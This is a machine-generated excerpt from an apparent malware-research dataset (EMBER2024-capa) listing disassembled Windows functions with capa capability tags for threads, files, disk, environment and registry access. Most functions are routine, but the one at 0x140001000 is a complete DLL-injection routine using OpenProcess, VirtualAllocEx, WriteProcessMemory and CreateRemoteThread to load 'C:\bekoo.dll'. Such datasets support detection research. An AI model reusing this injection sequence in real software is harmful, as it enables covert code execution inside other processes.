joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d9d90
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400d9dc7
call fcn.1400dc350
mov dword [rax], Ordinal_27
call fcn.1400d8558
xor eax, eax
jmp 0x1400d9e55
mov rdx, r9
mov rcx, r8
call fcn.1400d9d2c
mov rbx, rax
test rax, rax
je 0x1400d9e52
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400d9c58]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400d9e3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400dc2c4
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400d9e26
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1400d9e35
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1400e6b38
jmp 0x1400d9e52
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400d9e4f
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400dd9f0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1402e1540]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x1401b1e88]
mov rbp, rcx
call fcn.1400dc39c
xor edi, edi
test rax, rax
je 0x1400ddad6
mov ebx, edi
call fcn.1400dc350
mov r14d, dword [rax]
call fcn.1400dc350
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.1400ed230
mov rsi, rax
test rax, rax
je 0x1400dda67
call fcn.1400dc350
mov dword [rax], r14d
jmp 0x1400dda91
call fcn.1400dc350
cmp dword [rax], 0x22
jne 0x1400ddace
call fcn.1400dc350
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.1400ed230
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x1400ddace
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x1400dda95
cmp rax, 3
je 0x1400ddab0
mov rcx, rsi
call fcn.1400dd94c
test al, al
je 0x1400ddac1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1400ddac1
mov dil, 1
mov rcx, rbx
call fcn.1400d3c60
mov al, dil
jmp 0x1400ddad8
mov rcx, rbx
call fcn.1400d3c60
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400c0640
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1400e227c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1402e49d0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400e22d3
cmp word [rdx], r13w
jne 0x1400e22d3
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400e22d8
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400e23fd
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400e241e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400e2311
mov rdx, r9
mov word [rbx], cx
jmp 0x1400e2338
cmp r9, r8
jae 0x1400e2348
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400e22f2
jmp 0x1400e23fd
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400e23f2
cmp dword [rsp + 0x80], esi
je 0x1400e23f2
lea r8, [0x1402e49d0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400e23ca
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400e239a
mov word [rbx], r13w
jmp 0x1400e23fa
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400e23a7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400e23fa
cmp word [rsp + 0x70], r13w
jne 0x1400e23d7
cmp rbx, r14
je 0x1400e2394
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400decd8
cmp word [rsp + 0x70], r13w
je 0x1400e23fd
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1402e49d0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400e23f7
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400e23fd
Function at 0x1400e88f8
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400e890e
mov al, 1
jmp 0x1400e896e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400e891f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400e896c
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400ecc64
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400e896c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400e896c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400e896c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400e896e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400ecd74
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400decd8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400decd8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400ecec4
cmp rax, 0xffffffffffffffff
je 0x1400ecec4
xor edi, edi
test rbp, rbp
jle 0x1400ece6f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400e6ac0
mov rbx, rax
test rax, rax
jne 0x1400ecdfc
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400ece65
mov edx, 0x8000
mov ecx, r14d
call fcn.1400e07c0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400e3634
cmp eax, 0xffffffff
je 0x1400ece45
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400ece0c
mov edx, r15d
mov ecx, r14d
call fcn.1400e07c0
jmp 0x1400ece65
cmp byte [rsi + 0x38], dil
je 0x1400ece5c
cmp dword [rsi + 0x34], 5
jne 0x1400ece5c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400ece65
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400e6b38
jmp 0x1400eced8
jns 0x1400eced8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400decd8
cmp rax, 0xffffffffffffffff
jne 0x1400ece90
cmp byte [rsi + 0x30], dil
je 0x1400eced8
mov edi, dword [rsi + 0x2c]
jmp 0x1400eced8
mov ecx, r14d
call fcn.1400ecc64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400eced8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1400eced8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400eced1
mov eax, dword [rsi + 0x2c]
jmp 0x1400eced6
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400decd8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400eefc0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400ef047
mov rsi, rbx
cmp word [rax], bp
je 0x1400ef006
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400eeff0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400eefec
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400e8b94
mov rdi, rax
test rax, rax
je 0x1400ef034
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400f7cd0
mov rbp, rdi
xor ecx, ecx
call fcn.1400e6b38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400f62fc
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1402e1540]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400f6346
call fcn.1400dc330
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.1400dc350
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.1400d8558
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400c0640
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400f6351
lea eax, [rbx + 1]
jmp 0x1400f6333
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400f6331
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400f6333
Function at 0x140002530
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000257a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000257a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_stdio_l1_1_0.dll___p__commode
jne 0x14000257a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000257a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000257a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000257c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, str.C:_bekoo.dll
mov rcx, rax
xor rax, rax
call sub.KERNEL32.dll_GetCurrentProcessId
mov qword [rsp - 0x15], rax
mov r8, 0xa3b4
mov edx, 0
mov ecx, 0x1fffff
call sub.KERNEL32.dll_OpenProcess
cmp rax, 0
je 0x140001152
mov qword [0x140003039], rax
lea rax, str.kernel32
mov rcx, rax
call 0x14000115a
cmp rax, 0
je 0x140001152
mov qword [rsp - 0x38], rax
lea rsi, [0x140003041]
lea rdi, str.LoadLibraryW
mov rsi, rdi
mov rdx, rsi
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
cmp rax, 0
je 0x140001152
mov qword [0x140003041], rax
mov rax, qword [0x140003039]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1a
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_VirtualAllocEx
cmp rax, 0
je 0x140001152
mov qword [0x140003049], rax
mov rax, qword [0x140003039]
mov rdx, qword [0x140003049]
lea rcx, str.C:_bekoo.dll
mov qword [rsp + 0x20], 0
mov r9d, 0x1a
mov r8, rcx
mov rcx, rax
call sub.KERNEL32.dll_WriteProcessMemory
cmp rax, 0
je 0x140001152
mov rdx, qword [0x140003049]
mov rax, qword [0x140003039]
mov r8, qword [0x140003041]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.KERNEL32.dll_CreateRemoteThread
mov rcx, rax
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
xor rax, rax
leave
mov rax, 1
leave
jmp qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
Function at 0x14001bc20
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1400f02e0], rax
test rax, rax
jne 0x14001bc75
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
xor r8d, r8d
lea ecx, [r8 + 1]
call fcn.14001be10
jmp 0x14001bd4f
mov ecx, 0x10
call fcn.1400a6170
mov qword [rax], rbx
lea rcx, [0x140006340]
mov qword [rax + 8], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400066d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001bd68
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 4]
call fcn.14001be10
mov edx, 0xffffffff
mov rcx, qword [0x1400f02e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [rsp + 0x48], 0
je 0x14001bd33
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x48], eax
jne 0x14001bd03
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x14001bd2a
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 1]
call fcn.14001be10
nop
cmp dword [rsp + 0x48], 0
je 0x14001bd4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x90
pop rbx
ret
mov dword [rsp + 0x48], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14001e210
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor eax, eax
mov dword [rsp + 0x30], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 7
mov word [rcx], ax
mov dword [rsp + 0x30], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14001e2c4
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x14001e293
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.14001eb50
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.14001e730
lea rcx, [rsp + 0x38]
call fcn.140005140
mov rax, rbx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x280
pop rbx
ret

Function at 0x14001e410
Capabilities:
Get common file path
Get startup folder

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 7
mov word [rcx], ax
mov dword [rsp + 0x20], 1
lea r9d, [rax + 1]
lea r8d, [rax + 0x1c]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x14001e4c1
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14001e490
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x28]
call fcn.14001eb50
lea rdx, [rsp + 0x28]
mov rcx, rbx
call fcn.14001e730
lea rcx, [rsp + 0x28]
call fcn.140005140
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x270
pop rbx
ret
Function at 0x140021aa0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov dword [rsp + 0x40], 4
cmp qword [rdx + 0x18], 8
mov rax, r9
mov rdi, r8
mov qword [rsp + 0x30], rcx
mov rsi, rdx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], 4
jb 0x140021ae5
mov rdx, qword [rdx]
lea rcx, [rsp + 0x30]
mov r9d, 0x20019
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp qword [rdi + 0x18], 8
mov rdx, rdi
jb 0x140021b0e
mov rdx, qword [rdi]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
lea rax, [rsp + 0x38]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x140021b53
mov ebx, dword [rsp + 0x90]
mov dword [rsp + 0x38], ebx
jmp 0x140021b57
mov ebx, dword [rsp + 0x38]
mov rcx, rsi
call fcn.140005140
mov rcx, rdi
call fcn.140005140
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140021b80
Capabilities:
Set registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rdx + 0x18], 8
mov rsi, r8
mov rdi, rdx
mov dword [rsp + 0x58], r9d
jb 0x140021bab
mov rdx, qword [rdx]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140021c32
add eax, 0xfffffffe
cmp eax, 1
jbe 0x140021bf1
mov rcx, rdi
call fcn.140005140
mov rcx, rsi
call fcn.140005140
mov eax, 0xffffffff
jmp 0x140021c9c
cmp qword [rdi + 0x18], 8
mov rdx, rdi
jb 0x140021bfe
mov rdx, qword [rdi]
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r8d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp qword [rsi + 0x18], 8
mov rdx, rsi
mov qword [rsp + 0x70], rbx
jb 0x140021c44
mov rdx, qword [rsi]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140021c76
mov dword [rsp + 0x58], 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [rsp + 0x58]
mov rcx, rdi
call fcn.140005140
mov rcx, rsi
call fcn.140005140
mov eax, ebx
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a6140
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x140021cb0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rdx + 0x18], 8
xorps xmm0, xmm0
movsd qword [rsp + 0x40], xmm0
mov rdi, r8
mov rsi, rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0xb
mov dword [rsp + 0x38], 8
jb 0x140021d05
mov rdx, qword [rdx]
lea rax, [rsp + 0x30]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp qword [rdi + 0x18], 8
mov rdx, rdi
jb 0x140021d32
mov rdx, qword [rdi]
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x3c]
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x140021d7b
movsd xmm6, qword [rsp + 0x90]
movsd qword [rsp + 0x40], xmm6
jmp 0x140021d81
movsd xmm6, qword [rsp + 0x40]
mov rcx, rsi
call fcn.140005140
mov rcx, rdi
call fcn.140005140
movaps xmm0, xmm6
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400a6140
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x88]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret

Function at 0x140021dc0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rdx + 0x18], 8
mov rdi, r8
movsd qword [rsp + 0x58], xmm3
mov rbx, rdx
jb 0x140021df2
mov rdx, qword [rdx]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140021e7c
add eax, 0xfffffffe
cmp eax, 1
jbe 0x140021e3b
mov rcx, rbx
call fcn.140005140
mov rcx, rdi
call fcn.140005140
movsd xmm0, qword [0x1400ca5a8]
jmp 0x140021eef
cmp qword [rbx + 0x18], 8
mov rdx, rbx
jb 0x140021e48
mov rdx, qword [rbx]
xor r8d, r8d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r8
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r8d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp qword [rdi + 0x18], 8
mov rdx, rdi
movaps xmmword [rsp + 0x70], xmm6
jb 0x140021e8e
mov rdx, qword [rdi]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 8
mov r9d, 0xb
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140021ec6
movsd xmm0, qword [0x1400ca5a8]
movsd qword [rsp + 0x58], xmm0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movsd xmm6, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140005140
mov rcx, rdi
call fcn.140005140
movaps xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400a6140
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret
Function at 0x140021f10
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x890
mov rax, qword [0x1400e9010]
xor rax, rsp
mov qword [rsp + 0x880], rax
mov rsi, r9
mov r14, r8
mov rdi, rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], r9
mov rbx, qword [rsp + 0x8e0]
xor ebp, ebp
mov dword [rsp + 0x30], ebp
mov qword [rsp + 0x60], rbp
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rbp
mov qword [rdx + 0x18], 7
mov word [rdx], bp
mov dword [rsp + 0x30], 1
mov word [rsp + 0x80], bp
xor edx, edx
mov r8d, 0x7fe
lea rcx, [rsp + 0x82]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x78], 0x800
mov rdx, r14
cmp qword [r14 + 0x18], 8
jb 0x140021faa
mov rdx, qword [r14]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140021fd3
mov rdx, qword [rsi]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
